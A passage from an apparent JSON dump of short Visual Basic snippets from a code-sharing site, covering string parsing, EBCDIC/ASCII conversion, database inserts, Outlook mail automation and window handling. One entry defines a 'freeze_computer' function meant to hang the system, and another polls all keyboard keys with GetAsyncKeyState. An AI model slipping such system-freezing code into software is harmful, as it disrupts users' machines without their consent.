Sub Form_Load()\nDim X As Integer\nDelimitChr = Chr(1)\nDim ExampleString As String\nExampleString = \"1\" & DelimitChr & \"2\" & DelimitChr & \"3\" & DelimitChr\nCall CountDelimit(ExampleString)\nCall ParseData(ExampleString)\nCall DisplayInfo\nEnd Sub\nPrivate Sub CountDelimit(StrData As String)\nDim X As Integer\nDim NxtPos As Integer\nDelimitNum = 0\nDo\nX = X + 1\nNxtPos = InStr(NxtPos + 1, StrData, DelimitChr)\nIf NxtPos = 0 Then ReDim Parsed(DelimitNum): Exit Sub\nDelimitNum = DelimitNum + 1\nLoop\nEnd Sub\nPrivate Sub ParseData(StrData As String)\nDim X As Integer\nDim PrevPos As Integer\nDim NxtPos As Integer\nFor X = 1 To DelimitNum\nPrevPos = NxtPos\nNxtPos = InStr(NxtPos + 1, StrData, DelimitChr)\nParsed(X - 1) = Mid(StrData, PrevPos + 1, NxtPos - PrevPos - 1)\nNext X\nEnd Sub\nPrivate Sub DisplayInfo()\nDim X As Integer\nDim RetVal As String\nFor X = 0 To DelimitNum\nRetVal = RetVal & Parsed(X) & vbCrLf\nNext X\nMsgBox RetVal\nEnd Sub\n"},{"WorldId":1,"id":5882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5889,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5892,"LineNumber":1,"line":"sKeyStat = 0\nFor i = 0 To 255\n KeyResult = GetAsyncKeyState(i)\n If KeyResult = -32767 Then\n sKeyStat = 1\n Exit For\n End If\nNext i\n If sKeyStat = 1 Then\n msgbox \"Key pressed!!!\"\n End If"},{"WorldId":1,"id":5893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5897,"LineNumber":1,"line":"Function ebcdic_to_ascii(ByVal buffer As String) As String\n Dim ebcdic_to_ascii_tab As Variant\n Dim i As Long, bufferlen As Long\n ebcdic = Array( _\n &H0, &H1, &H2, &H3, &H9C, &H9, &H86, &H7F, &H97, &H8D, &H8E, &HB, &HC, &HD, &HE, &HF, _\n &H10, &H11, &H12, &H13, &H9D, &H85, &H8, &H87, &H18, &H19, &H92, &H8F, &H1C, &H1D, &H1E, &H1F, _\n &H80, &H81, &H82, &H83, &H84, &HA, &H17, &H1B, &H88, &H89, &H8A, &H8B, &H8C, &H5, &H6, &H7, _\n &H90, &H91, &H16, &H93, &H94, &H95, &H96, &H4, &H98, &H99, &H9A, &H9B, &H14, &H15, &H9E, &H1A, _\n &H20, &HA0, &HA1, &HA2, &HA3, &HA4, &HA5, &HA6, &HA7, &HA8, &H5B, &H2E, &H3C, &H28, &H2B, &H21, _\n &H26, &HA9, &HAA, &HAB, &HAC, &HAD, &HAE, &HAF, &HB0, &HB1, &H5D, &H24, &H2A, &H29, &H3B, &H5E, _\n &H2D, &H2F, &HB2, &HB3, &HB4, &HB5, &HB6, &HB7, &HB8, &HB9, &H7C, &H2C, &H25, &H5F, &H3E, &H3F, _\n &HBA, &HBB, &HBC, &HBD, &HBE, &HBF, &HC0, &HC1, &HC2, &H60, &H3A, &H23, &H40, &H27, &H3D, &H22, _\n &HC3, &H61, &H62, &H63, &H64, &H65, &H66, &H67, &H68, &H69, &HC4, &HC5, &HC6, &HC7, &HC8, &HC9, _\n &HCA, &H6A, &H6B, &H6C, &H6D, &H6E, &H6F, &H70, &H71, &H72, &HCB, &HCC, &HCD, &HCE, &HCF, &HD0, _\n &HD1, &H7E, &H73, &H74, &H75, &H76, &H77, &H78, &H79, &H7A, &HD2, &HD3, &HD4, &HD5, &HD6, &HD7, _\n &HD8, &HD9, &HDA, &HDB, &HDC, &HDD, &HDE, &HDF, &HE0, &HE1, &HE2, &HE3, &HE4, &HE5, &HE6, &HE7, _\n &H7B, &H41, &H42, &H43, &H44, &H45, &H46, &H47, &H48, &H49, &HE8, &HE9, &HEA, &HEB, &HEC, &HED, _\n &H7D, &H4A, &H4B, &H4C, &H4D, &H4E, &H4F, &H50, &H51, &H52, &HEE, &HEF, &HF0, &HF1, &HF2, &HF3, _\n &H5C, &H9F, &H53, &H54, &H55, &H56, &H57, &H58, &H59, &H5A, &HF4, &HF5, &HF6, &HF7, &HF8, &HF9, _\n &H30, &H31, &H32, &H33, &H34, &H35, &H36, &H37, &H38, &H39, &HFA, &HFB, &HFC, &HFD, &HFE, &HFF)\n \n bufferlen = Len(buffer)\n For i = 1 To bufferlen\n Mid$(buffer, i, 1) = Chr$(ebcdic(Asc(Mid$(buffer, i, 1))))\n Next\n ebcdic_to_ascii = buffer\nEnd Function\n"},{"WorldId":1,"id":5902,"LineNumber":1,"line":"Function ascii_to_ebcdic(ByVal buffer As String) As String\n Dim ascii As Variant\n Dim i As Long, bufferlen As Long\n ascii = Array( _\n &H0, &H1, &H2, &H3, &H37, &H2D, &H2E, &H2F, &H16, &H5, &H25, &HB, &HC, &HD, &HE, &HF, _\n &H10, &H11, &H12, &H13, &H3C, &H3D, &H32, &H26, &H18, &H19, &H3F, &H27, &H1C, &H1D, &H1E, &H1F, _\n &H40, &H4F, &H7F, &H7B, &H5B, &H6C, &H50, &H7D, &H4D, &H5D, &H5C, &H4E, &H6B, &H60, &H4B, &H61, _\n &HF0, &HF1, &HF2, &HF3, &HF4, &HF5, &HF6, &HF7, &HF8, &HF9, &H7A, &H5E, &H4C, &H7E, &H6E, &H6F, _\n &H7C, &HC1, &HC2, &HC3, &HC4, &HC5, &HC6, &HC7, &HC8, &HC9, &HD1, &HD2, &HD3, &HD4, &HD5, &HD6, _\n &HD7, &HD8, &HD9, &HE2, &HE3, &HE4, &HE5, &HE6, &HE7, &HE8, &HE9, &H4A, &HE0, &H5A, &H5F, &H6D, _\n &H79, &H81, &H82, &H83, &H84, &H85, &H86, &H87, &H88, &H89, &H91, &H92, &H93, &H94, &H95, &H96, _\n &H97, &H98, &H99, &HA2, &HA3, &HA4, &HA5, &HA6, &HA7, &HA8, &HA9, &HC0, &H6A, &HD0, &HA1, &H7, _\n &H20, &H21, &H22, &H23, &H24, &H15, &H6, &H17, &H28, &H29, &H2A, &H2B, &H2C, &H9, &HA, &H1B, _\n &H30, &H31, &H1A, &H33, &H34, &H35, &H36, &H8, &H38, &H39, &H3A, &H3B, &H4, &H14, &H3E, &HE1, _\n &H41, &H42, &H43, &H44, &H45, &H46, &H47, &H48, &H49, &H51, &H52, &H53, &H54, &H55, &H56, &H57, _\n &H58, &H59, &H62, &H63, &H64, &H65, &H66, &H67, &H68, &H69, &H70, &H71, &H72, &H73, &H74, &H75, _\n &H76, &H77, &H78, &H80, &H8A, &H8B, &H8C, &H8D, &H8E, &H8F, &H90, &H9A, &H9B, &H9C, &H9D, &H9E, _\n &H9F, &HA0, &HAA, &HAB, &HAC, &HAD, &HAE, &HAF, &HB0, &HB1, &HB2, &HB3, &HB4, &HB5, &HB6, &HB7, _\n &HB8, &HB9, &HBA, &HBB, &HBC, &HBD, &HBE, &HBF, &HCA, &HCB, &HCC, &HCD, &HCE, &HCF, &HDA, &HDB, _\n &HDC, &HDD, &HDE, &HDF, &HEA, &HEB, &HEC, &HED, &HEE, &HEF, &HFA, &HFB, &HFC, &HFD, &HFE, &HFF)\n bufferlen = Len(buffer)\n For i = 1 To bufferlen\n Mid$(buffer, i, 1) = Chr$(ascii(Asc(Mid$(buffer, i, 1))))\n Next\n ascii_to_ebcdic = buffer\nEnd Function\nFunction ebcdic_to_ascii(ByVal buffer As String) As String\n Dim ebcdic As Variant\n Dim i As Long, bufferlen As Long\n ebcdic = Array( _\n &H0, &H1, &H2, &H3, &H9C, &H9, &H86, &H7F, &H97, &H8D, &H8E, &HB, &HC, &HD, &HE, &HF, _\n &H10, &H11, &H12, &H13, &H9D, &H85, &H8, &H87, &H18, &H19, &H92, &H8F, &H1C, &H1D, &H1E, &H1F, _\n &H80, &H81, &H82, &H83, &H84, &HA, &H17, &H1B, &H88, &H89, &H8A, &H8B, &H8C, &H5, &H6, &H7, _\n &H90, &H91, &H16, &H93, &H94, &H95, &H96, &H4, &H98, &H99, &H9A, &H9B, &H14, &H15, &H9E, &H1A, _\n &H20, &HA0, &HA1, &HA2, &HA3, &HA4, &HA5, &HA6, &HA7, &HA8, &H5B, &H2E, &H3C, &H28, &H2B, &H21, _\n &H26, &HA9, &HAA, &HAB, &HAC, &HAD, &HAE, &HAF, &HB0, &HB1, &H5D, &H24, &H2A, &H29, &H3B, &H5E, _\n &H2D, &H2F, &HB2, &HB3, &HB4, &HB5, &HB6, &HB7, &HB8, &HB9, &H7C, &H2C, &H25, &H5F, &H3E, &H3F, _\n &HBA, &HBB, &HBC, &HBD, &HBE, &HBF, &HC0, &HC1, &HC2, &H60, &H3A, &H23, &H40, &H27, &H3D, &H22, _\n &HC3, &H61, &H62, &H63, &H64, &H65, &H66, &H67, &H68, &H69, &HC4, &HC5, &HC6, &HC7, &HC8, &HC9, _\n &HCA, &H6A, &H6B, &H6C, &H6D, &H6E, &H6F, &H70, &H71, &H72, &HCB, &HCC, &HCD, &HCE, &HCF, &HD0, _\n &HD1, &H7E, &H73, &H74, &H75, &H76, &H77, &H78, &H79, &H7A, &HD2, &HD3, &HD4, &HD5, &HD6, &HD7, _\n &HD8, &HD9, &HDA, &HDB, &HDC, &HDD, &HDE, &HDF, &HE0, &HE1, &HE2, &HE3, &HE4, &HE5, &HE6, &HE7, _\n &H7B, &H41, &H42, &H43, &H44, &H45, &H46, &H47, &H48, &H49, &HE8, &HE9, &HEA, &HEB, &HEC, &HED, _\n &H7D, &H4A, &H4B, &H4C, &H4D, &H4E, &H4F, &H50, &H51, &H52, &HEE, &HEF, &HF0, &HF1, &HF2, &HF3, _\n &H5C, &H9F, &H53, &H54, &H55, &H56, &H57, &H58, &H59, &H5A, &HF4, &HF5, &HF6, &HF7, &HF8, &HF9, _\n &H30, &H31, &H32, &H33, &H34, &H35, &H36, &H37, &H38, &H39, &HFA, &HFB, &HFC, &HFD, &HFE, &HFF)\n \n bufferlen = Len(buffer)\n For i = 1 To bufferlen\n Mid$(buffer, i, 1) = Chr$(ebcdic(Asc(Mid$(buffer, i, 1))))\n Next\n ebcdic_to_ascii = buffer\nEnd Function\n"},{"WorldId":1,"id":5906,"LineNumber":1,"line":"Function ASCIItoList(ListBox As Object)\nDim Character As Long\nFor Character& = 33 To 223\nListBox.AddItem Chr(Character&)\nNext Character&\nEnd Function\nPrivate Sub Form_Load()\nASCIItoList List1\nEnd Sub\nPrivate Sub List1_Click()\nText1.Text = \"Chr(\" & List1.ListIndex + 33 & \")\"\nEnd Sub\n"},{"WorldId":1,"id":5910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5933,"LineNumber":1,"line":"'Put this in any event :\nMkDir \"C:\\Windows\\TheNewDirectory\"\n'You can make a new directory anywhere, not just in C:\\Windows\n'That's all :)"},{"WorldId":1,"id":5934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5946,"LineNumber":1,"line":"\nSub EmailFromOutlookInExcel() 'macro name\n Set myOlApp = CreateObject(\"Outlook.Application\") 'opens Outlook\n Set MailItem = myOlApp.CreateItem(olMailItem) ' opens new email\n Set myRecipient = MailItem.Recipients.Add(\"recipient@company.com\") 'inserts recipient's email address\n MailItem.Subject = \"Subject of message goes here\" 'subject of the email\n Set myAttachments = MailItem.Attachments.Add(\"C:\\foldername\\filename\") 'Path to Attachments\n'Repeat this line if there are more Attachments\n MailItem.Send 'sends the email\nEnd Sub"},{"WorldId":1,"id":5950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5966,"LineNumber":1,"line":"'DAO Example \n'First Open a updateable recordset\nSet rs = db.OpenRecordset(\"SomeTable\")\n With rs\n 'Start a New Record\n .AddNew\n !Field2 = \"Add your data for this new record\" \n 'Add the record to the database\n .Update\n \n 'Set the bookmark to Last modified\n .Bookmark = .LastModified\n \n lngResult = rs!AutoNumberUID\n End With\n \n rs.Close\n'Ado Example\n Set mrsMDB = New ADODB.Recordset\n \n mrsMDB.CursorType = adOpenKeyset\n mrsMDB.LockType = adLockOptimistic\n mrsMDB.Open \"SomeTable\", mcnnMDB, , , adCmdTable\n \n With mrsMDB\n .AddNew\n !Field2 = \"Add your Data for this record\"\n .Update\n varBkMark = .Bookmark\n .Requery\n .Bookmark = varBkMark\n lngNewUID = !AutoNumberUID\n \n End With\n\n"},{"WorldId":1,"id":5969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5980,"LineNumber":1,"line":"Function ReplaceCharacter(stringToChange$, charToReplace$, replaceWith$) As String\n'Replaces a specified character in a string with another\n'character that you specify\n Dim ln, n As Long\n Dim NextLetter As String\n Dim FinalString As String\n Dim txt, char, rep As String\n txt = stringToChange$ 'store all arguments in\n char = charToReplace$ 'new variables\n rep = replaceWith$\n \n ln = Len(txt)\n \n For n = 1 To ln Step 1\n NextLetter = Mid(txt, n, 1)\n \n If NextLetter = char Then\n NextLetter = rep\n End If\n \n FinalString = FinalString & NextLetter\n Next n\n \n Replace_Character = FinalString\n \nEnd Function\n"},{"WorldId":1,"id":5983,"LineNumber":1,"line":"Sub Form_Load()\n ' Command1.Style = 1 ' Graphical\n SendMessage Command1.hWnd, &HF4&, &H0&, 0&\nEnd Sub"},{"WorldId":1,"id":5986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5989,"LineNumber":1,"line":"Public Function IsLoaded(sForm As String) as Boolean\nDim Frm As Form\n \n' Loop through the Forms collection looking\n' for the form of interest...\n For Each Frm In Forms\n If Frm.Name = sForm Then\n ' Found form in the collection\n IsLoaded = True\n Exit For\n End If\n Next\nEnd Function"},{"WorldId":1,"id":5991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5994,"LineNumber":1,"line":"\nPrivate Sub Form_Load() 'Set Window to \"Always On Top\"\n Call SetWindowPos(Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)\nEnd Sub\nPrivate Sub tmrRefresh_Timer()\n Dim cursorPos As POINTAPI, textLength As Integer\n Dim hWnd As Long, winText As String\n \n Static prevHWnd As Long 'Store handle of previous Window\n \n Call GetCursorPos(cursorPos) 'Get current mouse position\n hWnd = WindowFromPoint(cursorPos.x, cursorPos.y) 'Get handle to Window mouse is over\n \n If prevHWnd <> hWnd Then 'If the Window mouse is the same as the previous Window that the mouse was over, don't refresh the information\n txtHWnd.Text = hWnd 'Show Window handle\n textLength = GetWindowTextLength(hWnd) + 1 'Get length of Window text\n winText = Space(textLength) 'Setup buffer to copy Window text\n Call GetWindowText(hWnd, winText, textLength) 'Get the actual text\n txtWinText.Text = winText\n prevHWnd = hWnd\n End If\nEnd Sub\n"},{"WorldId":1,"id":5995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6010,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim Handle As Long\n' the FindWindow-API needs the Caption-Name of the exe-File (e.g. Calculator for the Calc.exe!)\n' Handle = FindWindow(vbNullString, \"<CaptionNameOfExe>\")\nHandle = FindWindow(vbNullString, \"Calculator\") ' Is the exe already loaded?\n' *! im deutschen Windows muss bei diesem Beispiel statt \"Calculator\" das Wort \"Rechner\" stehen!!!\nIf Handle = 0 Then ' _if the Handle becomes 0 then START the EXE-File\n Handle = Shell(\"CALC.EXE\", 1)\n Else ' _if fires a Handle, the exe is there! Let┬┤s focus it...\n ShowWindow Handle, 0 ' Hide the EXE (huh! Where is the exe???)\n ShowWindow Handle, 1 ' Show the EXE (now it becomes the Focus!!!)\nEnd If\nEnd Sub"},{"WorldId":1,"id":6011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6013,"LineNumber":1,"line":"webBrowser.ExecWB OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER\n"},{"WorldId":1,"id":6014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6015,"LineNumber":1,"line":"Private Sub Form_Paint()\n Dim WidthOfBorder As Single\n ScaleMode = vbTwips\n WidthOfBorder = (Width - ScaleWidth) / 4\n \n 'assuming the progress bar is named ProgressBar1 and the status bar named StatusBar1, and placing the progress bar in panel 2\n 'moving the progressbar to the statusbar and adjusting size\n ProgressBar1.Move StatusBar1.Panels(2).Left + 30, _\n StatusBar1.Top + WidthOfBorder + 20, _\n StatusBar1.Panels(2).Width - 50, _\n StatusBar1.Height - WidthOfBorder - 30\n 'the values are hardcoded to allow the border to display to make the progressbar appear 3d and look smart. the progressbar may be hidden and replaced with text normally using the .panels().text property of the statusbar, as the progressbar is not actually in the statusbar, merely hovering above.\nEnd Sub"},{"WorldId":1,"id":6020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6043,"LineNumber":1,"line":"'To make your form on top:\nFormOnTop Form1\n'To take you off off of on top:\nFormNotOnTop Form1"},{"WorldId":1,"id":6045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6054,"LineNumber":1,"line":"Public Sub SelectInList(varID As Variant, ctlList As Control, Optional ctl As CtlType, _\n Optional blnRefresh As Boolean = True)\n'Selects the Item in List or Combo Box that matches passed varID\nDim x\nIf Not IsNull(varID) Then\n varID = CLng(varID)\n \n If blnRefresh = True Then\n ctlList.Refresh\n End If\n \n For x = 0 To ctlList.ListCount - 1\n If ctlList.ItemData(x) = varID Then\n If ctl = ListBox Then\n ctlList.Selected(x) = True\n Else\n ctlList = ctlList.List(x)\n End If\n Exit Sub\n End If\n Next\nElse\n 'Reset the ComboBox\n ctlList.ListIndex = -1\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":6056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6069,"LineNumber":1,"line":"Public Function HTTPSafeString(Text As String) As String\n Dim lCounter As Long\n Dim sBuffer As String\n Dim sReturn As String\n \n sReturn = Text\n \n For lCounter = 1 To Len(Text)\n sBuffer = Mid(Text, lCounter, 1)\n If Not sBuffer Like \"[a-z,A-Z,0-9]\" Then\n sReturn = Replace(sReturn, sBuffer, \"%\" & Hex(Asc(sBuffer)))\n End If\n Next lCounter\n \n HTTPSafeString = sReturn\n \nEnd Function"},{"WorldId":1,"id":6071,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim sCmdLine As String\n Dim idProg As Long, iExit As Long\n sCmdLine = fGetWinDir & \"\\notepad.exe\"\n idProg = Shell(sCmdLine)\n iExit = fWait(idProg)\n If iExit Then\n MsgBox \"Something very, very bad just happened.\"\n Else\n MsgBox \"Finished processing Notepad.\"\n End If\nEnd Sub\nFunction fWait(ByVal lProgID As Long) As Long\n ' Wait until proggie exit code <> STILL_ACTIVE&\n Dim lExitCode As Long, hdlProg As Long\n ' Get proggie handle\n hdlProg = OpenProcess(PROCESS_ALL_ACCESS, False, lProgID)\n ' Get current proggie exit code\n GetExitCodeProcess hdlProg, lExitCode\n Do While lExitCode = STILL_ACTIVE&\n DoEvents\n GetExitCodeProcess hdlProg, lExitCode\n Loop\n CloseHandle hdlProg\n fWait = lExitCode\nEnd Function\nPrivate Function fGetWinDir() As String\n ' Wrapper to return OS Path\n Dim lRet As Long, lSize As Long, sBuf As String * 512\n lSize = 512\n lRet = GetWindowsDirectory(sBuf, lSize)\n fGetWinDir = Left(sBuf, InStr(1, sBuf, Chr(0)) - 1)\nEnd Function\n"},{"WorldId":1,"id":6072,"LineNumber":1,"line":"Function fGetTempFile() As String\n Dim sTempDir As String\n sTempDir = fDirCheck(fGetTempDir())\n Dim sPrefix As String\n sPrefix = \"\"\n Dim lUnique As Long\n lUnique = 0\n Dim lRet As Long\n Dim sBuf As String * 512\n lRet = GetTempFileName(sTempDir, sPrefix, lUnique, sBuf)\n If InStr(1, sBuf, Chr(0)) > 0 Then\n fGetTempFile = _\n Left(sBuf, InStr(1, sBuf, Chr(0)) - 1)\n Else\n fGetTempFile = \"\"\n End If\nEnd Function\nFunction fGetWinDir() As String\n Dim lRet As Long\n Dim lSize As Long\n Dim sBuf As String * MAX_PATH\n lSize = MAX_PATH\n lRet = GetWindowsDirectory(ByVal sBuf, ByVal lSize)\n If InStr(1, sBuf, Chr(0)) > 0 Then\n fGetWinDir = Left(sBuf, InStr(1, sBuf, Chr(0)) - 1)\n Else\n fGetWinDir = \"\"\n End If\nEnd Function\nFunction fDirCheck(sDirName As String) As String\n fDirCheck = IIf(Right(sDirName, 1) = \"\\\", _\n sDirName, sDirName & \"\\\")\nEnd Function\nFunction fGetTempDir() As String\n Dim lRet As Long\n Dim lSize As Long\n Dim sBuf As String * MAX_PATH\n lSize = MAX_PATH\n lRet = GetTempPath(ByVal lSize, sBuf)\n If InStr(1, sBuf, Chr(0)) > 0 Then\n fGetTempDir = Left(sBuf, InStr(2, sBuf, Chr(0)) - 1)\n Else\n fGetTempDir = \"\"\n End If\nEnd Function\nFunction fGetSystemInfo() As Boolean\n Dim lRet As Long\n Dim iNullPos As Integer\n Dim colProdSuites As Collection\n Dim vCurrProdSuite As Variant\n OSVI.dwOSVersionInfoSize = Len(OSVI)\n OSVI.szCSDVersion = Space(128)\n lRet = GetVersionEx(OSVI)\n If lRet = 0 Then\n MsgBox (\"Error\" & vbCrLf & _\n Err.LastDllError & \" - \" & Err.Description)\n fGetSystemInfo = False\n Exit Function\n End If\n ' For major version number, minor version number,\n ' and build number, convert the value returned into\n ' a string.\n sSystemInfo = \"Major Version: \" & _\n Str(OSVI.dwMajorVersion) & vbCrLf\n sSystemInfo = sSystemInfo + \"Minor Version: \" & _\n Str(OSVI.dwMinorVersion) & vbCrLf\n sSystemInfo = sSystemInfo + \"Build Number: \" & _\n Str(OSVI.dwBuildNumber) & vbCrLf\n ' To determine the specific platform, use the \n ' constants you declared to evaluate dwPlatformId.\n ' Depending on the platform, check dwBuildNumber\n ' to determine the specific platform.\n sSystemInfo = sSystemInfo + \"Platform: \"\n Select Case OSVI.dwPlatformId\n Case VER_PLATFORM_WIN32s\n sSystemInfo = sSystemInfo & _\n \"Win32s on Windows 3.1\" & vbCrLf\n Case VER_PLATFORM_WIN32_WINDOWS\n sSystemInfo = sSystemInfo & _\n IIf(OSVI.dwBuildNumber = 0, _\n \"Windows 98\", \"Windows 95\") & vbCrLf\n Case VER_PLATFORM_WIN32_NT\n sSystemInfo = sSystemInfo & _\n IIf(OSVI.dwMajorVersion < 5, _\n \"Windows NT\", \"Windows 2000\") & vbCrLf\n End Select\n ' To determine service pack information, use the\n ' constants you declared to evaluate dwPlatformId.\n ' Depending on the platform, check szCSDVersion\n ' to determine the specific service pack information.\n Select Case OSVI.dwPlatformId\n Case VER_PLATFORM_WIN32s\n sSystemInfo = sSystemInfo & _\n \"No additional info on \" & _\n \"Win32s on Windows 3.1.\" & vbCrLf\n Case VER_PLATFORM_WIN32_WINDOWS\n sSystemInfo = sSystemInfo & _\n \"Additional OS Info: \" & _\n OSVI.szCSDVersion & vbCrLf\n Case VER_PLATFORM_WIN32_NT\n If Asc(Left$(OSVI.szCSDVersion, 1)) = 0 Then\n ' leftmost char = null, this is an\n ' empty string\n sSystemInfo = sSystemInfo & _\n \"Service Pack Install \" & _\n \"Info: No Service Pack \" & _\n \"Installed\" & vbCrLf\n Else\n ' find the null char in the string\n iNullPos = InStr(OSVI.szCSDVersion, Chr(0))\n sSystemInfo = sSystemInfo & _\n \"Service Pack Install \" & _\n \"Info: \" & _\n Left$(OSVI.szCSDVersion, _\n iNullPos - 1) & vbCrLf\n End If\n End Select\n ' For major service pack, major and minor\n ' version numbers, convert the values returned\n ' into a string.\n sSystemInfo = sSystemInfo & \"Service Pack Version: \"\n sSystemInfo = sSystemInfo & _\n CStr(OSVI.wServicePackMajor) & \".\" & _\n CStr(OSVI.wServicePackMinor) & vbCrLf\n ' To determine which product suite components are\n ' installed evaluate wSuiteMask and compare the value\n ' against the constants declared for the various\n ' product suites. Add information to the colProdSuite\n ' collection based on which product suites are installed.\n ' This this value is a set of bit flags. Test against\n ' each bit mask, add found items to a VB collection\n Set colProdSuites = New Collection\n If (OSVI.wSuiteMask And VER_SUITE_BACKOFFICE) = VER_SUITE_BACKOFFICE Then\n colProdSuites.Add \"Microsoft BackOffice components are installed.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_DATACENTER) = VER_SUITE_DATACENTER Then\n colProdSuites.Add \"Windows 2000 Datacenter Server is installed.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_ENTERPRISE) = VER_SUITE_ENTERPRISE Then\n colProdSuites.Add \"Windows 2000 Advanced Server is installed.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_SMALLBUSINESS) = VER_SUITE_SMALLBUSINESS Then\n colProdSuites.Add \"Microsoft Small Business Server is installed.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_SMALLBUSINESS_RESTRICTED) = VER_SUITE_SMALLBUSINESS_RESTRICTED Then\n colProdSuites.Add \"Microsoft Small Business Server is installed \" & \"with the restrictive client license in force.\"\n End If\n If (OSVI.wSuiteMask And VER_SUITE_TERMINAL) = VER_SUITE_TERMINAL Then\n colProdSuites.Add \"Terminal Services is installed.\"\n End If\n ' list all product suites available\n ' that were added to the collection object\n sSystemInfo = sSystemInfo & \"Product Suites: \" & vbCrLf\n For Each vCurrProdSuite In colProdSuites\n sSystemInfo = sSystemInfo & vbCrLf & vbTab & vCurrProdSuite\n Next\n ' To determine the product type, use the constants you declared to\n ' evaluate wProductType.\n sSystemInfo = sSystemInfo & \"Product Type: \"\n Select Case OSVI.wProductType\n Case VER_NT_WORKSTATION\n sSystemInfo = sSystemInfo & \"Windows 2000 Professional\"\n Case VER_NT_DOMAIN_CONTROLLER\n sSystemInfo = sSystemInfo & \"Windows 2000 domain controller\"\n Case VER_NT_SERVER\n sSystemInfo = sSystemInfo & \"Windows 2000 Server\"\n End Select\n fGetSystemInfo = True\nEnd Function\nSub Main()\n If fGetSystemInfo() Then\n Dim sTmpFile As String\n sTmpFile = fGetTempFile\n Open sTmpFile For Output As #1\n Print #1, sSystemInfo\n Close #1\n Dim sCmd As String\n sCmd = fDirCheck(fGetWinDir()) & \"Notepad.exe \" & sTmpFile\n Dim vRet As Variant\n vRet = Shell(sCmd, vbNormalFocus)\n End If\nEnd Sub"},{"WorldId":1,"id":6076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6081,"LineNumber":1,"line":"Public Declare Function SetParent Lib \"user32\" Alias \"SetParent\" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long\nfunction freeze_computer(frm as form)\n call SetParent(frm.hwnd, frm.hwnd)\nend function\n"},{"WorldId":1,"id":6087,"LineNumber":1,"line":"Private Sub Combo1_Change()\n Dim i As Integer\n Dim l As Long\n Dim strNewText As String\n ' Check to see if a search is required.\n If Not IgnoreTextChange And Combo1.ListCount > 0 Then\n l = SendMessage(Combo1.hwnd, CB_FINDSTRING, -1, ByVal CStr(Combo1.Text))\n strNewText = Combo1.List(l)\n If Len(Combo1.Text) <> Len(strNewText) Then\n ' Partial match found\n ' Avoid recursively entering this event\n IgnoreTextChange = True\n i = Len(Combo1.Text)\n ' Attach the full text from the list to what has\n ' already been entered. This technique preserves\n ' the case entered by the user.\n Combo1.Text = Combo1.Text & Mid$(strNewText, i + 1)\n ' Select the text that is auto-entered\n Combo1.SelStart = i\n Combo1.SelLength = Len(Mid$(strNewText, i + 1))\n End If\n Else\n ' The IgnoreTwextChange Flag is only effective for one\n ' Changed event.\n IgnoreTextChange = False\n End If\nEnd Sub\n\nPrivate Sub Combo1_GotFocus()\n ' Select existing text on entry to the combo box\n Combo1.SelStart = 0\n Combo1.SelLength = Len(Combo1.Text)\nEnd Sub\n\nPrivate Sub Combo1_KeyDown(KeyCode As Integer, Shift As Integer)\n ' If a user presses the \"Delete\" key, then the selected text\n ' is removed.\n If KeyCode = vbKeyDelete And Combo1.SelText <> \"\" Then\n ' Make sure that the text is not automatically re-entered\n ' as soon as it is deleted\n IgnoreTextChange = True\n Combo1.SelText = \"\"\n KeyCode = 0\n End 